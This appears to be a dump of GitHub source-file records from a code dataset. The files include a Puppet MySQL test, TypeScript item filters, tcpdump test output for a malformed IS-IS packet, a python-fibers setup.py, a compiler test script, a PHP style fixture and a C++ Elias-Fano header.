text
stringlengths 2
100k
| meta
dict |
---|---|
require 'spec_helper'
describe 'mysql::server::monitor' do
on_supported_os.each do |os, facts|
context "on #{os}" do
let(:facts) do
facts.merge(root_home: '/root')
end
let :pre_condition do
"include 'mysql::server'"
end
let :default_params do
{
mysql_monitor_username: 'monitoruser',
mysql_monitor_password: 'monitorpass',
mysql_monitor_hostname: 'monitorhost',
}
end
let :params do
default_params
end
it { is_expected.to contain_mysql_user('monitoruser@monitorhost') }
it {
is_expected.to contain_mysql_grant('monitoruser@monitorhost/*.*').with(
ensure: 'present', user: 'monitoruser@monitorhost',
table: '*.*', privileges: ['PROCESS', 'SUPER'],
require: 'Mysql_user[monitoruser@monitorhost]'
)
}
end
end
end
| {
"pile_set_name": "Github"
} |
import { rollToFilter } from '../util'
import { FiltersCreationContext, itemModToFilter } from '../create-stat-filters'
import { propAt20Quality, variablePropAt20Quality, QUALITY_STATS } from './calc-q20'
import { stat } from '@/assets/data'
import { ARMOUR, WEAPON, ItemCategory } from '@/parser/meta'
import { ParsedItem } from '@/parser'
import { internalPropStat } from './util'
export function filterItemProp (ctx: FiltersCreationContext) {
if (ARMOUR.has(ctx.item.category!)) {
armourProps(ctx)
}
if (WEAPON.has(ctx.item.category!)) {
weaponProps(ctx)
}
}
export const ARMOUR_STATS = new Set<string>([
QUALITY_STATS.ARMOUR.flat,
QUALITY_STATS.EVASION.flat,
QUALITY_STATS.ENERGY_SHIELD.flat,
...QUALITY_STATS.ARMOUR.incr,
...QUALITY_STATS.EVASION.incr,
...QUALITY_STATS.ENERGY_SHIELD.incr,
stat('#% Chance to Block')
])
function armourProps (ctx: FiltersCreationContext) {
const { item } = ctx
if (item.props.armour) {
const totalQ20 = Math.floor(propAt20Quality(item.props.armour, QUALITY_STATS.ARMOUR, item))
ctx.filters.push({
...internalPropStat(
'armour.armour',
'Armour: #',
'armour'
),
disabled: !isSingleAttrArmour(item),
...rollToFilter(totalQ20, { neverNegated: true })
})
}
if (item.props.evasion) {
const totalQ20 = Math.floor(propAt20Quality(item.props.evasion, QUALITY_STATS.EVASION, item))
ctx.filters.push({
...internalPropStat(
'armour.evasion_rating',
'Evasion Rating: #',
'armour'
),
disabled: !isSingleAttrArmour(item),
...rollToFilter(totalQ20, { neverNegated: true })
})
}
if (item.props.energyShield) {
const totalQ20 = Math.floor(propAt20Quality(item.props.energyShield, QUALITY_STATS.ENERGY_SHIELD, item))
ctx.filters.push({
...internalPropStat(
'armour.energy_shield',
'Energy Shield: #',
'armour'
),
disabled: !isSingleAttrArmour(item),
...rollToFilter(totalQ20, { neverNegated: true })
})
}
if (item.props.blockChance) {
ctx.filters.push({
...internalPropStat(
'armour.block',
'Block: #%',
'armour'
),
disabled: true,
...rollToFilter(item.props.blockChance, { neverNegated: true })
})
}
if (
item.props.armour ||
item.props.evasion ||
item.props.energyShield ||
item.props.blockChance
) {
createHiddenFilters(ctx, ARMOUR_STATS)
}
}
export const WEAPON_STATS = new Set<string>([
QUALITY_STATS.PHYSICAL_DAMAGE.flat,
...QUALITY_STATS.PHYSICAL_DAMAGE.incr,
stat('#% increased Attack Speed'),
stat('#% increased Critical Strike Chance'),
// stat('Adds # to # Chaos Damage'),
stat('Adds # to # Lightning Damage'),
stat('Adds # to # Cold Damage'),
stat('Adds # to # Fire Damage')
])
function weaponProps (ctx: FiltersCreationContext) {
const { item } = ctx
const physQ20 = variablePropAt20Quality(item.props.physicalDamage!, QUALITY_STATS.PHYSICAL_DAMAGE, item)
const pdpsQ20 = Math.floor((physQ20[0] + physQ20[1]) / 2 * item.props.attackSpeed!)
const edps = Math.floor((item.props.elementalDamage || 0) * item.props.attackSpeed!)
const dps = pdpsQ20 + edps
if (item.props.elementalDamage) {
ctx.filters.push({
...internalPropStat(
'weapon.total_dps',
'DPS: #',
'weapon'
),
disabled: false,
...rollToFilter(dps, { neverNegated: true })
})
ctx.filters.push({
...internalPropStat(
'weapon.elemental_dps',
'Elemental DPS: #',
'weapon'
),
disabled: (edps / dps < 0.67),
hidden: (edps / dps < 0.67) ? 'Elemental damage is not the main source of DPS' : undefined,
...rollToFilter(edps, { neverNegated: true })
})
}
ctx.filters.push({
...internalPropStat(
'weapon.physical_dps',
'Physical DPS: #',
'weapon'
),
disabled: !isPdpsImportant(item) || (pdpsQ20 / dps < 0.67),
hidden: (pdpsQ20 / dps < 0.67) ? 'Physical damage is not the main source of DPS' : undefined,
...rollToFilter(pdpsQ20, { neverNegated: true })
})
ctx.filters.push({
...internalPropStat(
'weapon.aps',
'Attacks per Second: #',
'weapon'
),
disabled: true,
...rollToFilter(item.props.attackSpeed!, { neverNegated: true, decimals: 2 })
})
ctx.filters.push({
...internalPropStat(
'weapon.crit',
'Critical Strike Chance: #%',
'weapon'
),
disabled: true,
...rollToFilter(item.props.critChance!, { neverNegated: true, decimals: 2 })
})
if (
item.props.attackSpeed ||
item.props.critChance ||
item.props.elementalDamage ||
item.props.physicalDamage
) {
createHiddenFilters(ctx, WEAPON_STATS)
}
}
function createHiddenFilters (ctx: FiltersCreationContext, stats: Set<string>) {
for (const m of ctx.modifiers) {
if (stats.has(m.stat.ref)) {
const filter = itemModToFilter(m, ctx.item)
filter.hidden = 'Contributes to the item property'
ctx.filters.push(filter)
}
}
ctx.modifiers = ctx.modifiers.filter(m => !stats.has(m.stat.ref))
}
function isSingleAttrArmour (item: ParsedItem) {
return (item.props.armour != null && item.props.energyShield == null && item.props.evasion == null) ||
(item.props.armour == null && item.props.energyShield != null && item.props.evasion == null) ||
(item.props.armour == null && item.props.energyShield == null && item.props.evasion != null)
}
function isPdpsImportant (item: ParsedItem) {
switch (item.category) {
case ItemCategory.OneHandedAxe:
case ItemCategory.TwoHandedAxe:
case ItemCategory.OneHandedSword:
case ItemCategory.TwoHandedSword:
case ItemCategory.Bow:
return true
default:
return false
}
}
| {
"pile_set_name": "Github"
} |
#sdf 1.4.32
#tagged-as-never-update
(
startFrame = 1
endFrame = 1
)
def CamCamera "Test1"
{
def MfScope "Leg"
{
# ERROR newline after equal sign for shaped value
double[] aspect =
[ 1.02517, 2]
double width = 1905.41
def MfScope "Thigh" {
double aspect = 1.02517
double width = 1905.41
}
}
def MfScope "Arm" {
double aspect = 1.02517
double width = 1905.41
}
}
| {
"pile_set_name": "Github"
} |
FRF.16 Frag, seq 693, Flags [Begin], UI e8! IS-IS, length 301989913
L1 LSP, hlen: 27, v: 1, pdu-v: 1, sys-id-len: 6 (0), max-area: 131 (131)
lsp-id: 8383.8383.834f.00-60, seq: 0x06418fcc, lifetime: 33667s
chksum: 0x0900 (unverified), PDU length: 33667, Flags: [ Overload bit set, expense ATT bit set, L1 IS ]
Multi-Topology Capability TLV #144, length: 137
O: 0, RES: 4, MTID(s): 3945
unknown subTLV #8, length: 233
[|isis]
unknown TLV #213, length: 243
0x0000: 5cca 8010 0410 0594 4510 0410 6e55 0000
0x0010: 0101 080a 8cf3 ac2b 269c 0e2d 0e0e 0e0e
0x0020: 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e
0x0030: 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e
0x0040: 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e
0x0050: 0e0e 0e0e 0e0e 0e0e 0e1b 0100 1201 8383
0x0060: 8383 8383 8383 8383 834f 0060 0641 8fcc
0x0070: 0900 2590 894f 6908 e912 0025 e489 4f0e
0x0080: 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e
0x0090: 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e
0x00a0: 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e
0x00b0: 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e
0x00c0: 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e
0x00d0: 7f0e 0e0e 0e0e 0e0e 0e0e 0e0e 0c0e 0e0e
0x00e0: 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e
0x00f0: 0e0e 0e
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
unknown TLV #100, length: 14
0x0000: 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
unknown TLV #96, length: 183
0x0000: 0fbb 1627 4ce2 d5f3 5cca 8010 0410 0594
0x0010: 4510 0410 6e55 0000 0101 080a 8cf3 ac2b
0x0020: 269c 3ab9 a568 7354 404c 0c00 f702 0000
0x0030: f702 0000 84b5 9cbe 8cff ffff 0040 ff3e
0x0040: 88cc 0910 0410 0594 0000 0101 080a 269c
0x0050: 318b 8cf3 ac0e 0e0e 0e0e 0e0e 0e0e 0e0e
0x0060: 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e
0x0070: 0e0e 0e0e 0004 0e0e 0e0e 0e0e 8e0e 0e0e
0x0080: 0e0e 0e0e 0e0b 0e0e 0e0e 0e0e 0e0e 0e0e
0x0090: 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e
0x00a0: 0e00 3e20 0a00 b60d 0000 2000 0000 84b5
0x00b0: aee0 3083 8383 1b
Area address(es) TLV #1, length: 0
unknown TLV #18, length: 1
0x0000: 83
Inter-Domain Information Type TLV #131, length: 131
Inter-Domain Information Type: Unknown (0x83)
0x0000: 8383 8383 8383 834f 0060 0641 8fcc 0900
0x0010: 2590 894f 6908 e912 0025 9089 4f69 0800
0x0020: 4500 0034 9040 4001 4006 a516 cc09 370a
0x0030: ccff ffff 7fbb da80 d5f3 5c05 1614 4a2d
0x0040: 8010 0410 6e55 0000 0101 080a 8cf3 ac2b
0x0050: 269c 30b9 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e
0x0060: 0e08 0e0e 0e0e 0e01 0e0e 0e0e 0e0e 110e
0x0070: 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e
0x0080: 0e0e
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
unknown TLV #172, length: 198
0x0000: 2478 f620 70ac 2561 8ae3 3458 2d7a 4ea0
0x0010: d056 a568 7354 180e 0e0e 0e0e 0e0e 0e0e
0x0020: 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e
0x0030: 0e0d f20e 0e0e 0e0e 0e0e 0e0e 0e04 0e0e
0x0040: 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e
0x0050: 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e
0x0060: 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e
0x0070: 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e49 0e0e
0x0080: 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0d
0x0090: f20e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e
0x00a0: 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e
0x00b0: 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e
0x00c0: 0e0e 0e0e 0e0e
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3612
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
LSP Buffersize TLV #14, length: 5
LSP Buffersize: 3598
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3676
unknown TLV #92, length: 92
0x0000: 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c
0x0010: 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c
0x0020: 5c44 4444 4444 4444 4444 4444 4444 4444
0x0030: 44b7 b7b7 b7b7 b7b7 b7b7 b7b7 b7b7 b7b7
0x0040: b7b7 b7b7 b7b7 b7b7 b7b7 b7b7 b7b7 b7b7
0x0050: b7b7 b7b7 b7b7 b7b7 b7b7 b7b7
unknown TLV #183, length: 183
0x0000: b7b7 b7b7 b7b7 b7b7 b7b7 b7b7 b7b7 b7b7
0x0010: b7b7 b7b7 b7b7 b7b7 b7b7 b7b7 b7b7 b7b7
0x0020: b7b7 b7b7 b7b7 b7b7 b7b7 b7b7 b7b7 b7b7
0x0030: b7b7 b7b7 b7b7 b7b7 b7b7 b7b7 b7b7 b7b7
0x0040: b7b7 b7b7 b7b7 b7b7 b7b7 b7b7 b7b7 b7b7
0x0050: b7b7 b7b7 b7b7 b7b7 b7b7 b7b7 b7b7 b7b7
0x0060: b7b7 b7b7 b7b7 b7b7 b7b7 b7b7 b7b7 b7b7
0x0070: b7b7 b7b7 b7b7 b7b7 b7b7 b7b7 b7b7 b7b7
0x0080: b7b7 b7b7 b7b7 b7b7 b7b7 b7b7 b7b7 b7b7
0x0090: b7b7 b7b7 b7b7 b7b7 b7b7 b7b7 b7b7 b7b7
0x00a0: b7b7 b7b7 b7b7 b7b7 b7b7 b7b7 b7b7 b7b7
0x00b0: b7b7 b7b7 b7b7 b7
unknown TLV #183, length: 183
0x0000: b7b7 b7b7 b7b7 b7b7 b7c0 b7b7 b7b7 b7b7
0x0010: b7b7 b7b7 b7b7 b7b7 b7b7 b7b7 b7b7 b7b7
0x0020: b7b7 b7b7 b7b7 b7b7 b7b7 b7b7 b7b7 b7b7
0x0030: b7b7 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c
0x0040: 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c
0x0050: 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c
0x0060: 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c
0x0070: 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c
0x0080: 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c
0x0090: 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c
0x00a0: 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c
0x00b0: 5c5c 5c5c 5c5c 5c
unknown TLV #92, length: 92
0x0000: 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c
0x0010: 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c
0x0020: 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c
0x0030: 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c
0x0040: 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c
0x0050: 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c
unknown TLV #92, length: 92
0x0000: 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c
0x0010: 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c
0x0020: 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c
0x0030: 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c
0x0040: 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c
0x0050: 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c
unknown TLV #92, length: 92
0x0000: 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c
0x0010: 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c
0x0020: 5c5c 715c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c
0x0030: 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c
0x0040: 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c
0x0050: 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c
unknown TLV #92, length: 92
0x0000: 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c
0x0010: 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c
0x0020: 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c
0x0030: 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c
0x0040: 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c
0x0050: 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c
unknown TLV #92, length: 92
0x0000: 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c
0x0010: 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c
0x0020: 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c
0x0030: 5c5c 5c5c 5c5c 5c5c 5c10 0594 4510 0410
0x0040: 6e55 0000 0101 080a 8cf3 ac2b 269c 3ab9
0x0050: a568 7354 404c 0c00 f702 0000
unknown TLV #247, length: 2
0x0000: 0000
IPv4 Interface address(es) TLV #132, length: 181
IPv4 interface address: 156.190.140.255
IPv4 interface address: 255.14.14.14
IPv4 interface address: 14.14.14.14
IPv4 interface address: 14.14.14.14
IPv4 interface address: 14.14.14.14
IPv4 interface address: 14.14.14.14
IPv4 interface address: 14.14.14.14
IPv4 interface address: 14.14.14.14
IPv4 interface address: 14.14.14.14
IPv4 interface address: 14.14.14.14
IPv4 interface address: 14.14.14.14
IPv4 interface address: 14.14.14.14
IPv4 interface address: 14.14.14.14
IPv4 interface address: 14.14.14.14
IPv4 interface address: 14.14.14.14
IPv4 interface address: 14.14.14.14
IPv4 interface address: 14.14.14.14
IPv4 interface address: 14.14.14.14
IPv4 interface address: 14.14.14.14
IPv4 interface address: 14.14.14.14
IPv4 interface address: 14.14.14.14
IPv4 interface address: 14.14.14.14
IPv4 interface address: 14.14.14.14
IPv4 interface address: 14.14.14.14
IPv4 interface address: 14.14.14.14
IPv4 interface address: 14.14.14.14
IPv4 interface address: 14.14.14.14
IPv4 interface address: 14.14.14.14
IPv4 interface address: 14.14.14.14
IPv4 interface address: 14.14.14.14
IPv4 interface address: 14.14.14.14
IPv4 interface address: 14.14.28.14
IPv4 interface address: 28.14.21.14
IPv4 interface address: 14.14.14.130
IPv4 interface address: 89.186.4.171
IPv4 interface address: 23.3.1.0
IPv4 interface address: 32.144.252.48
IPv4 interface address: 165.128.255.255
IPv4 interface address: 255.246.232.117
IPv4 interface address: 154.157.104.136
IPv4 interface address: 118.103.188.123
IPv4 interface address: 181.119.205.109
IPv4 interface address: 60.22.90.116
IPv4 interface address: 80.127.192.14
IPv4 interface address: 156.165.230.105
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 61197
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
LSP Buffersize TLV #14, length: 13
LSP Buffersize: 244
unknown TLV #255, length: 0
unknown TLV #64, length: 6
0x0000: 3e88 cc09 3650
unknown TLV #204, length: 9
0x0000: 370a da80 01bb 0404 04
unknown TLV #11, length: 4
0x0000: 2104 0404
Partition DIS TLV #4, length: 4
Partition DIS TLV #4, length: 4
Partition DIS TLV #4, length: 4
Partition DIS TLV #4, length: 4
Partition DIS TLV #4, length: 4
Partition DIS TLV #4, length: 4
Partition DIS TLV #4, length: 4
unknown TLV #234, length: 4
0x0000: 0404 0404
Partition DIS TLV #4, length: 4
Partition DIS TLV #4, length: 4
Partition DIS TLV #4, length: 4
Partition DIS TLV #4, length: 4
Partition DIS TLV #4, length: 4
unknown TLV #0, length: 0
Partition DIS TLV #4, length: 4
Partition DIS TLV #4, length: 4
Partition DIS TLV #4, length: 4
Partition DIS TLV #4, length: 5
Purge Originator Identifier TLV #13, length: 178
Purge Originator System-ID: e4f9.cb0c.e2cd
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
Partition DIS TLV #4, length: 4
Partition DIS TLV #4, length: 4
Partition DIS TLV #4, length: 4
Partition DIS TLV #4, length: 4
Partition DIS TLV #4, length: 4
Partition DIS TLV #4, length: 4
Partition DIS TLV #4, length: 4
Partition DIS TLV #4, length: 4
unknown TLV #0, length: 13
0x0000: b2c4 e4f9 cb0c e2cd 2e17 5a0b f3
unknown TLV #180, length: 146
0x0000: 01fa 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e
0x0010: 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e
0x0020: 0e0e 0e28 0e0e 0e0e 0e0e fb0d 0e0e 0e0e
0x0030: 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e
0x0040: 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e
0x0050: 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e
0x0060: 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e
0x0070: 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e
0x0080: 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e 0e0e
0x0090: 0e0e
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
IPv4 Internal Reachability TLV #128, length: 0
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
LSP Buffersize TLV #14, length: 14
LSP Buffersize: 3598
unknown TLV #58, length: 58
0x0000: 3a3a 3a3a 3a3a 3a3a 3a3a 3a3a 3a3a 3a3a
0x0010: 3a3a 3a [|isis]
EXIT CODE 00000100: dump:0 code: 1
| {
"pile_set_name": "Github"
} |
# coding=utf-8
from setuptools import setup, Extension
import glob
import os
import re
import sys
if hasattr(sys, 'pypy_version_info'):
ext_modules = []
else:
extra_objects = []
if sys.platform == 'win32':
# This is a hack because msvc9compiler doesn't support asm files
# http://bugs.python.org/issue7546
# Initialize compiler
from distutils.msvc9compiler import MSVCCompiler
cc = MSVCCompiler()
cc.initialize()
del cc
if '32 bit' in sys.version:
extra_objects = ['src/switch_x86_msvc.obj']
os.system('ml /nologo /c /Fo src\switch_x86_msvc.obj src\switch_x86_msvc.asm')
else:
extra_objects = ['src/switch_x64_msvc.obj']
os.system('ml64 /nologo /c /Fo src\switch_x64_msvc.obj src\switch_x64_msvc.asm')
ext_modules = [Extension('fibers._cfibers',
sources=glob.glob('src/*.c'),
extra_objects=extra_objects,
)]
def get_version():
return re.search(r"""__version__\s+=\s+(?P<quote>['"])(?P<version>.+?)(?P=quote)""", open('fibers/__init__.py').read()).group('version')
setup(name = 'fibers',
version = get_version(),
author = 'Saúl Ibarra Corretgé',
author_email = '[email protected]',
url = 'http://github.com/saghul/python-fibers',
description = 'Lightweight cooperative microthreads for Pyhton',
long_description = open('README.rst').read(),
packages = ['fibers'],
platforms = ['POSIX', 'Microsoft Windows'],
classifiers = [
'Development Status :: 5 - Production/Stable',
'Intended Audience :: Developers',
'License :: OSI Approved :: MIT License',
'Operating System :: POSIX',
'Operating System :: Microsoft :: Windows',
'Programming Language :: Python',
'Programming Language :: Python :: 2',
'Programming Language :: Python :: 2.7',
'Programming Language :: Python :: 3',
'Programming Language :: Python :: 3.3',
'Programming Language :: Python :: 3.4',
'Programming Language :: Python :: 3.5',
'Programming Language :: Python :: 3.6',
'Programming Language :: Python :: Implementation :: CPython',
'Programming Language :: Python :: Implementation :: PyPy',
],
ext_modules = ext_modules
)
| {
"pile_set_name": "Github"
} |
#!/bin/sh
# Run each test and compare
# against known good output
if [ ! -f ../comp1 ]
then echo "Need to build ../comp1 first!"; exit 1
fi
for i in input*
do if [ ! -f "out.$i" ]
then echo "Can't run test on $i, no output file!"
else
echo -n $i
../comp1 $i
cc -o out out.s
./out > trial.$i
cmp -s "out.$i" "trial.$i"
if [ "$?" -eq "1" ]
then echo ": failed"
diff -c "out.$i" "trial.$i"
echo
else echo ": OK"
fi
rm -f out out.s "trial.$i"
fi
done
| {
"pile_set_name": "Github"
} |
<?php
class Test
{
public function __construct()
{
}
function test1()
{
}
function test2() {}
private function _test3()
{
}
}
class Test2
{
}
function test2()
{
if ($str{0}) {
$chr = $str{0}; }
if (!class_exists($class_name)) {
echo $error;
}
$this->{$property} =& new $class_name($this->db_index);
$this->modules[$module] =& $this->{$property};
}
foreach ($elements as $element) {
if ($something) {
// Do IF.
} else if ($somethingElse) {
// Do ELSE.
}
}
switch ($foo) {
case 1:
switch ($bar) {
default:
if ($something) {
echo $string{1};
} else if ($else) {
switch ($else) {
case 1:
// Do something.
break;
default:
// Do something.
break;
}
}
}
break;
case 2:
// Do something;
break;
}
switch ($httpResponseCode) {
case 100:
case 101:
case 102:
default:
return 'Unknown';
}
switch ($httpResponseCode) {
case 100:
case 101:
case 102:
return 'Processing.';
default:
return 'Unknown';
}
switch($i) {
case 1: {}
}
switch ($httpResponseCode) {
case 100:
case 101:
case 102:
exit;
default:
exit;
}
if ($foo):
if ($bar):
$foo = 1;
elseif ($baz):
$foo = 2;
endif;
endif;
if ($foo):
elseif ($baz): $foo = 2;
endif;
?>
<ul>
<?php foreach ($array as $value) : ?>
<li><?php echo $value ?></li>
<?php endforeach ?>
</ul>
<ul>
<?php foreach ($array as $value) : ?>
<li><?php echo $value ?></li>
<?php endforeach ?>
</ul>
<ul>
<?php foreach ($array as $value) : ?>
<li><?php echo $value ?></li>
<?php endforeach ?>
</ul>
<?php
switch ( $a ) {
case 'foo':
do {
$a = 'b';
} while ( $a );
return 5;
case 'bar':
foreach ( $a as $b ) {
$e = 'b';
}
return 5;
}
?>
<?php $_cartQty = $this->getSummaryCount(); ?>
<div id="minicart" <?php if ($_cartQty == 0): ?>class="empty"<?php endif; ?>>
| {
"pile_set_name": "Github"
} |
#pragma once
#include "bit_vector.hpp"
#include "darray.hpp"
#if defined(__clang__)
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Wconversion"
#endif
namespace succinct {
class elias_fano {
public:
elias_fano()
: m_size(0)
{}
struct elias_fano_builder {
elias_fano_builder(uint64_t n, uint64_t m)
: m_n(n)
, m_m(m)
, m_pos(0)
, m_last(0)
, m_l(uint8_t((m && n / m) ? broadword::msb(n / m) : 0))
, m_high_bits((m + 1) + (n >> m_l) + 1)
{
assert(m_l < 64); // for the correctness of low_mask
m_low_bits.reserve(m * m_l);
}
inline void push_back(uint64_t i) {
assert(i >= m_last && i <= m_n);
m_last = i;
uint64_t low_mask = (1ULL << m_l) - 1;
if (m_l) {
m_low_bits.append_bits(i & low_mask, m_l);
}
m_high_bits.set((i >> m_l) + m_pos, 1);
++m_pos;
assert(m_pos <= m_m); (void)m_m;
}
friend class elias_fano;
private:
uint64_t m_n;
uint64_t m_m;
uint64_t m_pos;
uint64_t m_last;
uint8_t m_l;
bit_vector_builder m_high_bits;
bit_vector_builder m_low_bits;
};
elias_fano(bit_vector_builder* bvb, bool with_rank_index = true)
{
bit_vector_builder::bits_type& bits = bvb->move_bits();
uint64_t n = bvb->size();
uint64_t m = 0;
for (size_t i = 0; i < bits.size(); ++i) {
m += broadword::popcount(bits[i]);
}
bit_vector bv(bvb);
elias_fano_builder builder(n, m);
uint64_t i = 0;
for (uint64_t pos = 0; pos < m; ++pos) {
i = bv.successor1(i);
builder.push_back(i);
++i;
}
